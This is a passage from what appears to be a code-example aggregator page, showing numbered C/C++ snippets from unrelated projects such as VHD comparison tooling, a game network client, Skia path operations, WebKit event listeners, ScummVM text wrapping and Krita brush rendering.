				{
					Server->Log("Could not read hash from file", LL_ERROR);
				}

				sha256_final(&ctx, dig_r);
				sha256_init(&ctx);

				if(memcmp(dig_r, dig_f, 32)!=0 && mixed!=2)
				{
					++diff;
					Server->Log("Different blocks: "+convert(diff)+" at pos "+convert(currpos)+" mixed = "+
						(mixed==3? "true":"false")+" ("+convert(mixed)+")" );
				}

				mixed=0;
			}		
		
			int pc=(int)((float)((float)currpos/(float)size)*100.f+0.5f);
			if(pc!=last_pc)
			{
				last_pc=pc;
				Server->Log("Checking device hashsums: "+convert(pc)+"%");
			}
			
		}
		if(diff>0)
		{
			Server->Log("Device does not match hash file");
		}
		Server->Log("Different blocks: "+convert(diff));
		exit(7);
	}

	std::string vhd_cmp=Server->getServerParameter("vhd_cmp");
	if(!vhd_cmp.empty())
	{
		VHDFile in(vhd_cmp, true,0);
		if(in.isOpen()==false)
		{
			Server->Log("Error opening VHD-File \""+vhd_cmp+"\"", LL_ERROR);
			exit(4);
		}

		std::string other=Server->getServerParameter("other");
		VHDFile other_in(other, true,0);
		if(other_in.isOpen()==false)
		{
			Server->Log("Error opening VHD-File \""+other+"\"", LL_ERROR);
			exit(4);
		}

		unsigned int blocksize=in.getBlocksize();
		int skip=1024*512;
		in.Seek(skip);
		other_in.Seek(skip);
		uint64 currpos=skip;
		uint64 size=(std::min)(in.getSize(), other_in.getSize());

		char buf1[512];
		char buf2[512];
		int diff=0;
		int last_pc=0;

		for(;currpos<size;currpos+=blocksize)
		{
			in.Seek(currpos);
			other_in.Seek(currpos);
			bool has_sector=in.this_has_sector() || other_in.this_has_sector();

			if(in.this_has_sector() && !other_in.this_has_sector())
			{
				Server->Log("Sector only in file 1 at pos "+convert(currpos));
			}
			if(!in.this_has_sector() && other_in.this_has_sector())
			{
				Server->Log("Sector only in file 2 at pos "+convert(currpos));
			}

			if(has_sector)
			{
				bool hdiff=false;
				for(unsigned int i=0;i<blocksize;i+=512)
				{
					size_t read;
					in.Read(buf1, 512, read);
					other_in.Read(buf2, 512, read);
					int mr=memcmp(buf1, buf2, 512);
					if(mr!=0)
					{
						int n=0;
						for(size_t i=0;i<512;++i)
						{
							if(buf1[i]!=buf2[i])
							{
								++n;
							}
						}
						if(n==2)
						{
							NTFSFileRecord *fr=(NTFSFileRecord*)buf1;
							if(fr->magic[0]=='F' && fr->magic[1]=='I' && fr->magic[2]=='L' && fr->magic[3]=='E' )
							{
								MFTAttribute attr;
								attr.length=fr->attribute_offset;
								int pos=0;
								do
								{
									pos+=attr.length;
									memcpy((char*)&attr, buf1+pos, sizeof(MFTAttribute) );
									if(attr.type==0x30 && attr.nonresident==0) //FILENAME
									{
										MFTAttributeFilename fn;
										memcpy((char*)&fn, buf1+pos+attr.attribute_offset, sizeof(MFTAttributeFilename) );
										std::string fn_uc;
										fn_uc.resize(fn.filename_length*2);
										memcpy(&fn_uc[0], buf1+pos+attr.attribute_offset+sizeof(MFTAttributeFilename), fn.filename_length*2);
										Server->Log("Filename="+Server->ConvertFromUTF16(fn_uc) , LL_DEBUG);
									}
									Server->Log("Attribute Type: "+convert(attr.type)+" nonresident="+convert(attr.nonresident)+" length="+convert(attr.length), LL_DEBUG);
								}while( attr.type!=0xFFFFFFFF && attr.type!=0x80);
							}

							for(size_t i=0;i<512;++i)
							{
								if(buf1[i]!=buf2[i])
								{
									Server->Log("Position "+convert(i)+": "+convert((int)buf1[i])+"<->"+convert((int)buf2[i]));
								}
							}
						}
						hdiff=true;
						break;
					}
				}
				
				if(hdiff)
				{
					++diff;
					Server->Log("Different blocks: "+convert(diff)+" at pos "+convert(currpos));
				}
			}
		
			int pc=(int)((float)((float)currpos/(float)size)*100.f+0.5f);
			if(pc!=last_pc)
			{
				last_pc=pc;
				Server->Log("Checking hashfile: "+convert(pc)+"%");
			}
			
		}
		Server->Log("Different blocks: "+convert(diff));
		exit(7);
	}

	std::string vhd_fixmftmirr=Server->getServerParameter("vhd_checkmftmirr");
	if(!vhd_fixmftmirr.empty())
	{
		VHDFile vhd(vhd_fixmftmirr, false, 0);
		vhd.addVolumeOffset(1024*512);

		if(vhd.isOpen()==false)
		{
			Server->Log("Could not open VHD file", LL_ERROR);
			exit(7);
		}

		if(Server->getServerParameter("fix")!="true")
		{
			FSNTFS fs(&vhd, IFSImageFactory::EReadaheadMode_None, false, NULL);
			if(fs.hasError())
			{
				Server->Log("NTFS filesystem has errors", LL_ERROR);
			}
			exit(7);
		}
		else
		{
			FSNTFS fs(&vhd, IFSImageFactory::EReadaheadMode_None, false, NULL);
			if(fs.hasError())
			{
				Server->Log("NTFS filesystem has errors", LL_ERROR);
			}
			exit(7);
		}
		exit(0);
	}

#ifdef _DEBUG
	std::string fibmap_test_fn = Server->getServerParameter("fibmap_test");
	if (!fibmap_test_fn.empty())
	{
#ifdef __linux__
		fibmap_test(fibmap_test_fn, Server->getServerParameter("bitmap_source"));
#endif
		exit(0);
	}
#endif

	imagepluginmgr=new CImagePluginMgr;

	Server->RegisterPluginThreadsafeModel( imagepluginmgr, "fsimageplugin");

#ifndef STATIC_PLUGIN
	Server->Log("Loaded -fsimageplugin- plugin", LL_INFO);
#endif
}
Ejemplo n.º 14
0
bool ZlibDecompress(const butil::IOBuf& data, google::protobuf::Message* req) {
    butil::IOBufAsZeroCopyInputStream wrapper(data);
    google::protobuf::io::GzipInputStream zlib(
        &wrapper, google::protobuf::io::GzipInputStream::ZLIB);
    return ParsePbFromZeroCopyStream(req, &zlib);
}
NS_IMETHODIMP
nsXFormsControlStub::ResetBoundNode(const nsString &aBindAttribute,
                                    PRUint16        aResultType,
                                    PRBool         *aContextChanged)
{
  NS_ENSURE_ARG(aContextChanged);

  // Clear existing bound node, etc.
  *aContextChanged = mBoundNode ? PR_TRUE : PR_FALSE;
  nsCOMPtr<nsIDOMNode> oldBoundNode;
  oldBoundNode.swap(mBoundNode);
  mUsesModelBinding = PR_FALSE;
  mAppearDisabled = PR_FALSE;
  mDependencies.Clear();
  RemoveIndexListeners();

  if (!mHasParent || !mHasDoc || !HasBindingAttribute())
    return NS_OK_XFORMS_NOTREADY;

  nsCOMPtr<nsIDOMXPathResult> result;
  nsresult rv = ProcessNodeBinding(aBindAttribute, aResultType,
                                   getter_AddRefs(result));

  if (NS_FAILED(rv)) {
    nsXFormsUtils::ReportError(NS_LITERAL_STRING("controlBindError"), mElement);
    return rv;
  }

  if (rv == NS_OK_XFORMS_DEFERRED || rv == NS_OK_XFORMS_NOTREADY || !result) {
    // Binding was deferred, or not bound
    return rv;
  }

  // Get context node, if any
  if (mUsesModelBinding) {
    // When bound via @bind, we'll get a snapshot back
    result->SnapshotItem(0, getter_AddRefs(mBoundNode));
  } else {
    result->GetSingleNodeValue(getter_AddRefs(mBoundNode));
  }

  *aContextChanged = (oldBoundNode != mBoundNode);

  // Some controls may not be bound to certain types of content. If the content
  // is a disallowed type, report the error and dispatch a binding exception
  // event.
  PRBool isAllowed = IsContentAllowed();

  if (!mBoundNode || !isAllowed) {
    // If there's no result (ie, no instance node) returned by the above, it
    // means that the binding is not pointing to an instance data node, so we
    // should disable the control.
    mAppearDisabled = PR_TRUE;

    if (!isAllowed) {
      // build the error string that we want output to the ErrorConsole
      nsAutoString localName;
      mElement->GetLocalName(localName);
      const PRUnichar *strings[] = { localName.get() };

      nsXFormsUtils::ReportError(
        NS_LITERAL_STRING("boundTypeErrorComplexContent"),
        strings, 1, mElement, mElement);

      nsXFormsUtils::DispatchEvent(mElement, eEvent_BindingException);
    }

    nsCOMPtr<nsIXTFElementWrapper> wrapper(do_QueryInterface(mElement));
    NS_ENSURE_STATE(wrapper);

    PRInt32 iState;
    GetDisabledIntrinsicState(&iState);
    return wrapper->SetIntrinsicState(iState);
  }

  // Check for presence of @xsi:type on bound node and add as a dependency
  nsCOMPtr<nsIDOMElement> boundEl(do_QueryInterface(mBoundNode));
  if (boundEl) {
    nsCOMPtr<nsIDOMAttr> attrNode;
    rv = boundEl->GetAttributeNodeNS(NS_LITERAL_STRING(NS_NAMESPACE_XML_SCHEMA_INSTANCE),
                                     NS_LITERAL_STRING("type"),
                                     getter_AddRefs(attrNode));
    if (NS_SUCCEEDED(rv) && attrNode) {
      mDependencies.AppendObject(attrNode);
    }
  }

  return NS_OK;
}
Ejemplo n.º 16
0
void CLevel::ClientReceive()
{

	Demo_StartFrame();

	Demo_Update();

	m_dwRPC = 0;
	m_dwRPS = 0;

	for (NET_Packet* P = net_msg_Retreive(); P; P=net_msg_Retreive())
	{
		//-----------------------------------------------------
		m_dwRPC++;
		m_dwRPS += P->B.count;
		//-----------------------------------------------------
		u16			m_type;
		u16			ID;
		P->r_begin	(m_type);
		switch (m_type)
		{
		case M_MAP_SYNC:
			{
				shared_str map_name;
				P->r_stringZ(map_name);

				shared_str _name		= net_Hosts.size() ? net_Hosts.front().dpSessionName:"";

				if(_name.size() && _name!=map_name && OnClient())
				{
					Msg("!!! map sync failed. current is[%s] server is[%s]",m_name.c_str(), map_name.c_str());
					Engine.Event.Defer	("KERNEL:disconnect");
					Engine.Event.Defer	("KERNEL:start",m_caServerOptions.size() ? size_t( xr_strdup(*m_caServerOptions)) : 0, m_caClientOptions.size() ? size_t(xr_strdup(*m_caClientOptions)) : 0);
				}
			}break;
		case M_SPAWN:			
			{
				if (!m_bGameConfigStarted || !bReady) 
				{
					Msg ("Unconventional M_SPAWN received : cgf[%s] | bReady[%s]",
						(m_bGameConfigStarted) ? "true" : "false",
						(bReady) ? "true" : "false");
					break;
				}
				/*/
				cl_Process_Spawn(*P);
				/*/
				game_events->insert		(*P);
				if (g_bDebugEvents)		ProcessGameEvents();
				//*/
			}
			break;
		case M_EVENT:
			game_events->insert		(*P);
			if (g_bDebugEvents)		ProcessGameEvents();
			break;
		case M_EVENT_PACK:
			NET_Packet	tmpP;
			while (!P->r_eof())
			{
				tmpP.B.count = P->r_u8();
				P->r(&tmpP.B.data, tmpP.B.count);
				tmpP.timeReceive = P->timeReceive;

				game_events->insert		(tmpP);
				if (g_bDebugEvents)		ProcessGameEvents();
			};			
			break;
		case M_UPDATE:
			{
				game->net_import_update	(*P);
				//-------------------------------------------
				if (OnServer()) break;
				//-------------------------------------------
			};	// ни в коем случае нельзя здесь ставить break, т.к. в случае если все объекты не влазят в пакет M_UPDATE,
				// они досылаются через M_UPDATE_OBJECTS
		case M_UPDATE_OBJECTS:
			{
				Objects.net_Import		(P);

				if (OnClient()) UpdateDeltaUpd(timeServer());
				IClientStatistic pStat = Level().GetStatistic();
				u32 dTime = 0;
				
				if ((Level().timeServer() + pStat.getPing()) < P->timeReceive)
				{
					dTime = pStat.getPing();
				}
				else
					dTime = Level().timeServer() - P->timeReceive + pStat.getPing();

				u32 NumSteps = ph_world->CalcNumSteps(dTime);
				SetNumCrSteps(NumSteps);
			}break;
//		case M_UPDATE_OBJECTS:
//			{
//				Objects.net_Import		(P);
//			}break;
		//----------- for E3 -----------------------------
		case M_CL_UPDATE:
			{
				if (OnClient()) break;
				P->r_u16		(ID);
				u32 Ping = P->r_u32();
				CGameObject*	O	= smart_cast<CGameObject*>(Objects.net_Find		(ID));
				if (0 == O)		break;
				O->net_Import(*P);
		//---------------------------------------------------
				UpdateDeltaUpd(timeServer());
				if (pObjects4CrPr.empty() && pActors4CrPr.empty())
					break;
				if (O->CLS_ID != CLSID_OBJECT_ACTOR)
					break;

				u32 dTime = 0;
				if ((Level().timeServer() + Ping) < P->timeReceive)
				{
#ifdef DEBUG
//					Msg("! TimeServer[%d] < TimeReceive[%d]", Level().timeServer(), P->timeReceive);
#endif
					dTime = Ping;
				}
				else					
					dTime = Level().timeServer() - P->timeReceive + Ping;
				u32 NumSteps = ph_world->CalcNumSteps(dTime);
				SetNumCrSteps(NumSteps);

				O->CrPr_SetActivationStep(u32(ph_world->m_steps_num) - NumSteps);
				AddActor_To_Actors4CrPr(O);

			}break;
		case M_MOVE_PLAYERS:
			{
				u8 Count = P->r_u8();
				for (u8 i=0; i<Count; i++)
				{
					u16 ID = P->r_u16();					
					Fvector NewPos, NewDir;
					P->r_vec3(NewPos);
					P->r_vec3(NewDir);

					CActor*	OActor	= smart_cast<CActor*>(Objects.net_Find		(ID));
					if (0 == OActor)		break;
					OActor->MoveActor(NewPos, NewDir);
				};

				NET_Packet PRespond;
				PRespond.w_begin(M_MOVE_PLAYERS_RESPOND);
				Send(PRespond, net_flags(TRUE, TRUE));
			}break;
		//------------------------------------------------
		case M_CL_INPUT:
			{
				P->r_u16		(ID);
				CObject*	O	= Objects.net_Find		(ID);
				if (0 == O)		break;
				O->net_ImportInput(*P);
			}break;
		//---------------------------------------------------
		case 	M_SV_CONFIG_NEW_CLIENT:
			InitializeClientGame(*P);
			break;
		case M_SV_CONFIG_GAME:
			game->net_import_state	(*P);
			break;
		case M_SV_CONFIG_FINISHED:
			game_configured			= TRUE;
			Msg("- Game configuring : Finished ");
			break;		
		case M_MIGRATE_DEACTIVATE:	// TO:   Changing server, just deactivate
			{
				P->r_u16		(ID);
				CObject*	O	= Objects.net_Find		(ID);
				if (0 == O)		break;
				O->net_MigrateInactive	(*P);
				if (bDebug)		Log("! MIGRATE_DEACTIVATE",*O->cName());
			}
			break;
		case M_MIGRATE_ACTIVATE:	// TO:   Changing server, full state
			{
				P->r_u16		(ID);
				CObject*	O	= Objects.net_Find		(ID);
				if (0 == O)		break;
				O->net_MigrateActive	(*P);
				if (bDebug)		Log("! MIGRATE_ACTIVATE",*O->cName());
			}
			break;
		case M_CHAT:
			{
				char	buffer[256];
				P->r_stringZ(buffer);
				Msg		("- %s",buffer);
			}
			break;
		case M_GAMEMESSAGE:
			{
				if (!game) break;
				Game().OnGameMessage(*P);
			}break;
		case M_RELOAD_GAME:
		case M_LOAD_GAME:
		case M_CHANGE_LEVEL:
			{
				if(m_type==M_LOAD_GAME)
				{
					string256						saved_name;
					P->r_stringZ					(saved_name);
					if(xr_strlen(saved_name) && ai().get_alife())
					{
						CSavedGameWrapper			wrapper(saved_name);
						if (wrapper.level_id() == ai().level_graph().level_id()) 
						{
							Engine.Event.Defer	("Game:QuickLoad", size_t(xr_strdup(saved_name)), 0);

							break;
						}
					}
				}
				Engine.Event.Defer	("KERNEL:disconnect");
				Engine.Event.Defer	("KERNEL:start",size_t(xr_strdup(*m_caServerOptions)),size_t(xr_strdup(*m_caClientOptions)));
			}break;
		case M_SAVE_GAME:
			{
				ClientSave			();
			}break;
		case M_GAMESPY_CDKEY_VALIDATION_CHALLENGE:
			{
				OnGameSpyChallenge(P);
			}break;
		case M_AUTH_CHALLENGE:
			{
				OnBuildVersionChallenge();
			}break;
		case M_CLIENT_CONNECT_RESULT:
			{
				OnConnectResult(P);
			}break;
		case M_CHAT_MESSAGE:
			{
				if (!game) break;
				Game().OnChatMessage(P);
			}break;
		case M_CLIENT_WARN:
			{
				if (!game) break;
				Game().OnWarnMessage(P);
			}break;
		case M_REMOTE_CONTROL_AUTH:
		case M_REMOTE_CONTROL_CMD:
			{
				Game().OnRadminMessage(m_type, P);
			}break;
		case M_CHANGE_LEVEL_GAME:
			{
				Msg("- M_CHANGE_LEVEL_GAME Received");

				if (OnClient())
				{
					Engine.Event.Defer	("KERNEL:disconnect");
					Engine.Event.Defer	("KERNEL:start",m_caServerOptions.size() ? size_t( xr_strdup(*m_caServerOptions)) : 0,m_caClientOptions.size() ? size_t(xr_strdup(*m_caClientOptions)) : 0);
				}
				else
				{
					const char* m_SO = m_caServerOptions.c_str();
//					const char* m_CO = m_caClientOptions.c_str();

					m_SO = strchr(m_SO, '/'); if (m_SO) m_SO++;
					m_SO = strchr(m_SO, '/'); 

					string128 LevelName = "";
					string128 GameType = "";

					P->r_stringZ(LevelName);
					P->r_stringZ(GameType);

					string4096 NewServerOptions = "";
					sprintf_s(NewServerOptions, "%s/%s", LevelName, GameType);

					if (m_SO) strcat(NewServerOptions, m_SO);
					m_caServerOptions = NewServerOptions;

					Engine.Event.Defer	("KERNEL:disconnect");
					Engine.Event.Defer	("KERNEL:start",size_t(xr_strdup(*m_caServerOptions)),size_t(xr_strdup(*m_caClientOptions)));
				};
			}break;
		case M_CHANGE_SELF_NAME:
			{
				net_OnChangeSelfName(P);
			}break;
		case M_BULLET_CHECK_RESPOND:
			{
				if (!game) break;
				if (GameID() != GAME_SINGLE)
					Game().m_WeaponUsageStatistic->On_Check_Respond(P);
			}break;
		case M_STATISTIC_UPDATE:
			{
				if (!game) break;
				if (GameID() != GAME_SINGLE)
					Game().m_WeaponUsageStatistic->OnUpdateRequest(P);
			}break;
		case M_STATISTIC_UPDATE_RESPOND:
			{
				if (!game) break;
				if (GameID() != GAME_SINGLE)
					Game().m_WeaponUsageStatistic->OnUpdateRespond(P);
			}break;
		case M_BATTLEYE:
			{
#ifdef BATTLEYE
			battleye_system.ReadPacketClient( P );
#endif // BATTLEYE
			}break;
		}

		net_msg_Release();
	}	

//	if (!g_bDebugEvents) ProcessGameSpawns();
}
Ejemplo n.º 17
0
 void CHttpThread::convertToProtocolDebug(const QByteArray& array)
 {
   CByteWrapper wrapper(array);
   std::shared_ptr<CProtocol> ptr = convertToProtocol(wrapper);
   LOG_PROTOCOL(*ptr);
 }
Ejemplo n.º 18
0
bool Op(const SkPath& one, const SkPath& two, SkPathOp op, SkPath* result) {
#if DEBUG_SHOW_TEST_NAME
    char* debugName = DEBUG_FILENAME_STRING;
    if (debugName && debugName[0]) {
        SkPathOpsDebug::BumpTestName(debugName);
        SkPathOpsDebug::ShowPath(one, two, op, debugName);
    }
#endif
    op = gOpInverse[op][one.isInverseFillType()][two.isInverseFillType()];
    SkPath::FillType fillType = gOutInverse[op][one.isInverseFillType()][two.isInverseFillType()]
            ? SkPath::kInverseEvenOdd_FillType : SkPath::kEvenOdd_FillType;
    const SkPath* minuend = &one;
    const SkPath* subtrahend = &two;
    if (op == kReverseDifference_PathOp) {
        minuend = &two;
        subtrahend = &one;
        op = kDifference_PathOp;
    }
#if DEBUG_SORT || DEBUG_SWAP_TOP
    SkPathOpsDebug::gSortCount = SkPathOpsDebug::gSortCountDefault;
#endif
    // turn path into list of segments
    SkTArray<SkOpContour> contours;
    // FIXME: add self-intersecting cubics' T values to segment
    SkOpEdgeBuilder builder(*minuend, contours);
    const int xorMask = builder.xorMask();
    builder.addOperand(*subtrahend);
    if (!builder.finish()) {
        return false;
    }
    result->reset();
    result->setFillType(fillType);
    const int xorOpMask = builder.xorMask();
    SkTArray<SkOpContour*, true> contourList;
    MakeContourList(contours, contourList, xorMask == kEvenOdd_PathOpsMask,
            xorOpMask == kEvenOdd_PathOpsMask);
    SkOpContour** currentPtr = contourList.begin();
    if (!currentPtr) {
        return true;
    }
    SkOpContour** listEnd = contourList.end();
    // find all intersections between segments
    do {
        SkOpContour** nextPtr = currentPtr;
        SkOpContour* current = *currentPtr++;
        if (current->containsCubics()) {
            AddSelfIntersectTs(current);
        }
        SkOpContour* next;
        do {
            next = *nextPtr++;
        } while (AddIntersectTs(current, next) && nextPtr != listEnd);
    } while (currentPtr != listEnd);
    // eat through coincident edges

    int total = 0;
    int index;
    for (index = 0; index < contourList.count(); ++index) {
        total += contourList[index]->segments().count();
    }
    HandleCoincidence(&contourList, total);
    // construct closed contours
    SkPathWriter wrapper(*result);
    bridgeOp(contourList, op, xorMask, xorOpMask, &wrapper);
    {  // if some edges could not be resolved, assemble remaining fragments
        SkPath temp;
        temp.setFillType(fillType);
        SkPathWriter assembled(temp);
        Assemble(wrapper, &assembled);
        *result = *assembled.nativePath();
        result->setFillType(fillType);
    }
    return true;
}
Ejemplo n.º 19
0
void test_wrapper() {
  void *buf = wrapper();
  (void) buf;
}//expected-warning{{Potential leak}}
Ejemplo n.º 20
0
JSObject* JSLazyEventListener::initializeJSFunction(ScriptExecutionContext* executionContext) const
{
    ASSERT(is<Document>(executionContext));
    if (!executionContext)
        return nullptr;

    ASSERT(!m_code.isNull());
    ASSERT(!m_eventParameterName.isNull());
    if (m_code.isNull() || m_eventParameterName.isNull())
        return nullptr;

    Document& document = downcast<Document>(*executionContext);

    if (!document.frame())
        return nullptr;

    if (!document.contentSecurityPolicy()->allowInlineEventHandlers(m_sourceURL, m_sourcePosition.m_line))
        return nullptr;

    ScriptController& script = document.frame()->script();
    if (!script.canExecuteScripts(AboutToExecuteScript) || script.isPaused())
        return nullptr;

    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(executionContext, isolatedWorld());
    if (!globalObject)
        return nullptr;

    VM& vm = globalObject->vm();
    JSLockHolder lock(vm);
    auto scope = DECLARE_CATCH_SCOPE(vm);
    ExecState* exec = globalObject->globalExec();

    MarkedArgumentBuffer args;
    args.append(jsNontrivialString(exec, m_eventParameterName));
    args.append(jsStringWithCache(exec, m_code));

    // We want all errors to refer back to the line on which our attribute was
    // declared, regardless of any newlines in our JavaScript source text.
    int overrideLineNumber = m_sourcePosition.m_line.oneBasedInt();

    JSObject* jsFunction = constructFunctionSkippingEvalEnabledCheck(
        exec, exec->lexicalGlobalObject(), args, Identifier::fromString(exec, m_functionName),
        m_sourceURL, m_sourcePosition, overrideLineNumber);

    if (UNLIKELY(scope.exception())) {
        reportCurrentException(exec);
        scope.clearException();
        return nullptr;
    }

    JSFunction* listenerAsFunction = jsCast<JSFunction*>(jsFunction);

    if (m_originalNode) {
        if (!wrapper()) {
            // Ensure that 'node' has a JavaScript wrapper to mark the event listener we're creating.
            // FIXME: Should pass the global object associated with the node
            setWrapper(vm, asObject(toJS(exec, globalObject, *m_originalNode)));
        }

        // Add the event's home element to the scope
        // (and the document, and the form - see JSHTMLElement::eventHandlerScope)
        listenerAsFunction->setScope(vm, jsCast<JSNode*>(wrapper())->pushEventHandlerScope(exec, listenerAsFunction->scope()));
    }
    return jsFunction;
}
Ejemplo n.º 21
0
int Font::wordWrapText(const Common::String &str, int maxWidth, Common::Array<Common::String> &lines) const {
	WordWrapper wrapper(lines);
	Common::String line;
	Common::String tmpStr;
	int lineWidth = 0;
	int tmpWidth = 0;

	// The rough idea behind this algorithm is as follows:
	// We accumulate characters into the string tmpStr. Whenever a full word
	// has been gathered together this way, we 'commit' it to the line buffer
	// 'line', i.e. we add tmpStr to the end of line, then clear it. Before
	// we do that, we check whether it would cause 'line' to exceed maxWidth;
	// in that case, we first add line to lines, then reset it.
	//
	// If a newline character is read, then we also add line to lines and clear it.
	//
	// Special care has to be taken to account for 'words' that exceed the width
	// of a line. If we encounter such a word, we have to wrap it over multiple
	// lines.

	uint last = 0;
	for (Common::String::const_iterator x = str.begin(); x != str.end(); ++x) {
		const byte c = *x;
		const int w = getCharWidth(c) + getKerningOffset(last, c);
		last = c;
		const bool wouldExceedWidth = (lineWidth + tmpWidth + w > maxWidth);

		// If this char is a whitespace, then it represents a potential
		// 'wrap point' where wrapping could take place. Everything that
		// came before it can now safely be added to the line, as we know
		// that it will not have to be wrapped.
		if (Common::isSpace(c)) {
			line += tmpStr;
			lineWidth += tmpWidth;

			tmpStr.clear();
			tmpWidth = 0;

			// If we encounter a line break (\n), or if the new space would
			// cause the line to overflow: start a new line
			if (c == '\n' || wouldExceedWidth) {
				wrapper.add(line, lineWidth);
				continue;
			}
		}

		// If the max line width would be exceeded by adding this char,
		// insert a line break.
		if (wouldExceedWidth) {
			// Commit what we have so far, *if* we have anything.
			// If line is empty, then we are looking at a word
			// which exceeds the maximum line width.
			if (lineWidth > 0) {
				wrapper.add(line, lineWidth);
				// Trim left side
				while (tmpStr.size() && Common::isSpace(tmpStr[0])) {
					tmpStr.deleteChar(0);
					// This is not very fast, but it is the simplest way to
					// assure we do not mess something up because of kerning.
					tmpWidth = getStringWidth(tmpStr);
				}
			} else {
				wrapper.add(tmpStr, tmpWidth);
			}
		}

		tmpWidth += w;
		tmpStr += c;
	}

	// If some text is left over, add it as the final line
	line += tmpStr;
	lineWidth += tmpWidth;
	if (lineWidth > 0) {
		wrapper.add(line, lineWidth);
	}
	return wrapper.actualMaxLineWidth;
}
Ejemplo n.º 22
0
      void operator()(SystemType pde_system,
                      DomainType & domain,
                      MatrixT    & system_matrix,
                      VectorT    & load_vector
                     ) const
      {
        typedef typename viennagrid::result_of::cell_tag<DomainType>::type CellTag;

        typedef typename viennagrid::result_of::point<DomainType>::type                                   PointType;
        typedef typename viennagrid::result_of::element<DomainType, CellTag>::type                        CellType;

        typedef typename viennagrid::result_of::element_range<DomainType, CellTag>::type                  CellContainer;
        typedef typename viennagrid::result_of::iterator<CellContainer>::type                             CellIterator;

        typedef typename SystemType::equation_type                  EquationType;

     #ifdef VIENNAFEM_DEBUG
        std::cout << "Strong form: " << pde_system.pde(0) << std::endl;
     #endif
        log_strong_form(pde_system);
        EquationType weak_form_general = viennafem::make_weak_form(pde_system.pde(0));
     #ifdef VIENNAFEM_DEBUG
        std::cout << "* pde_solver::operator(): Using weak form general: " << weak_form_general << std::endl;
     #endif
        std::vector<EquationType> temp(1); temp[0] = weak_form_general;
        log_weak_form(temp, pde_system);
        EquationType weak_form = viennamath::apply_coordinate_system(viennamath::cartesian< PointType::dim >(), weak_form_general);
        //EquationType weak_form = viennamath::apply_coordinate_system(viennamath::cartesian<Config::coordinate_system_tag::dim>(), weak_form_general);
        temp[0] = weak_form;
        log_coordinated_weak_form(temp, pde_system);

     #ifdef VIENNAFEM_DEBUG
        std::cout << "* pde_solver::operator(): Using weak form " << weak_form << std::endl;
        std::cout << "* pde_solver::operator(): Write dt_dx coefficients" << std::endl;
     #endif

        typedef typename reference_cell_for_basis<CellTag, viennafem::lagrange_tag<1> >::type    ReferenceCell;

        //
        // Create accessors for performance in the subsequent dt_dx_handler step
        //

        //viennafem::dtdx_assigner<DomainType, StorageType, ReferenceCell>::apply(domain, storage);

        viennafem::dt_dx_handler<DomainType, StorageType, ReferenceCell>  dt_dx_handler(domain, storage);

        //fill with cell quantities
        CellContainer cells = viennagrid::elements<CellType>(domain);
        for (CellIterator cell_iter = cells.begin();
            cell_iter != cells.end();
            ++cell_iter)
        {
          //cell_iter->print_short();
          //viennadata::access<example_key, double>()(*cell_iter) = i;
          //viennafem::dt_dx_handler<ReferenceCell>::apply(storage, *cell_iter);
          dt_dx_handler(*cell_iter);
        }

     #ifdef VIENNAFEM_DEBUG
        std::cout << "* pde_solver::operator(): Create Mapping:" << std::endl;
     #endif
        std::size_t map_index = create_mapping(storage, pde_system, domain);

     #ifdef VIENNAFEM_DEBUG
        std::cout << "* pde_solver::operator(): Assigned degrees of freedom in domain so far: " << map_index << std::endl;
     #endif
        // resize global system matrix and load vector if needed:
        // TODO: This can be a performance bottleneck for large numbers of segments! (lots of resize operations...)
        if (map_index > system_matrix.size1())
        {
          MatrixT temp = system_matrix;
          ////std::cout << "Resizing system matrix..." << std::endl;
          system_matrix.resize(map_index, map_index, false);
          system_matrix.clear();
          system_matrix.resize(map_index, map_index, false);
          for (typename MatrixT::iterator1 row_it = temp.begin1();
               row_it != temp.end1();
               ++row_it)
          {
            for (typename MatrixT::iterator2 col_it = row_it.begin();
                 col_it != row_it.end();
                 ++col_it)
                 system_matrix(col_it.index1(), col_it.index2()) = *col_it;
          }
        }
        if (map_index > load_vector.size())
        {
          VectorT temp = load_vector;
       #ifdef VIENNAFEM_DEBUG
          std::cout << "Resizing load vector..." << std::endl;
       #endif
          load_vector.resize(map_index, false);
          load_vector.clear();
          load_vector.resize(map_index, false);
          for (std::size_t i=0; i<temp.size(); ++i)
            load_vector(i) = temp(i);
        }

     #ifdef VIENNAFEM_DEBUG
        std::cout << "* pde_solver::operator(): Transform to reference element" << std::endl;
     #endif
        EquationType transformed_weak_form = viennafem::transform_to_reference_cell<CellType>(storage, weak_form, pde_system);
        temp[0] = transformed_weak_form;
        log_transformed_weak_form<CellType, StorageType>(temp, pde_system);

        std::cout << "* pde_solver::operator(): Transformed weak form:" << std::endl;
        std::cout << transformed_weak_form << std::endl;
        //std::cout << std::endl;

     #ifdef VIENNAFEM_DEBUG
        std::cout << "* pde_solver::operator(): Assemble system" << std::endl;
     #endif

        typedef detail::equation_wrapper<MatrixT, VectorT>    wrapper_type;
        wrapper_type wrapper(system_matrix, load_vector);

        detail::pde_assembler_internal()(storage, transformed_weak_form, pde_system, domain, wrapper);
//        pde_assembler_internal()(transformed_weak_form, pde_system, domain, system_matrix, load_vector);

      }
Ejemplo n.º 23
0
void KisAutoBrush::generateMaskAndApplyMaskOrCreateDab(KisFixedPaintDeviceSP dst,
        KisBrush::ColoringInformation* coloringInformation,
        double scaleX, double scaleY, double angle,
        const KisPaintInformation& info,
        double subPixelX , double subPixelY, qreal softnessFactor) const
{
    Q_UNUSED(info);

    // Generate the paint device from the mask
    const KoColorSpace* cs = dst->colorSpace();
    quint32 pixelSize = cs->pixelSize();

    // mask dimension methods already includes KisBrush::angle()
    int dstWidth = maskWidth(scaleX, angle, subPixelX, subPixelY, info);
    int dstHeight = maskHeight(scaleY, angle, subPixelX, subPixelY, info);
    QPointF hotSpot = this->hotSpot(scaleX, scaleY, angle, info);

    // mask size and hotSpot function take the KisBrush rotation into account
    angle += KisBrush::angle();

    // if there's coloring information, we merely change the alpha: in that case,
    // the dab should be big enough!
    if (coloringInformation) {

        // old bounds
        QRect oldBounds = dst->bounds();

        // new bounds. we don't care if there is some extra memory occcupied.
        dst->setRect(QRect(0, 0, dstWidth, dstHeight));

        if (dstWidth * dstHeight <= oldBounds.width() * oldBounds.height()) {
            // just clear the data in dst,
            memset(dst->data(), OPACITY_TRANSPARENT_U8, dstWidth * dstHeight * dst->pixelSize());
        } else {
            // enlarge the data
            dst->initialize();
        }
    } else {
        if (dst->data() == 0 || dst->bounds().isEmpty()) {
            qWarning() << "Creating a default black dab: no coloring info and no initialized paint device to mask";
            dst->clear(QRect(0, 0, dstWidth, dstHeight));
        }
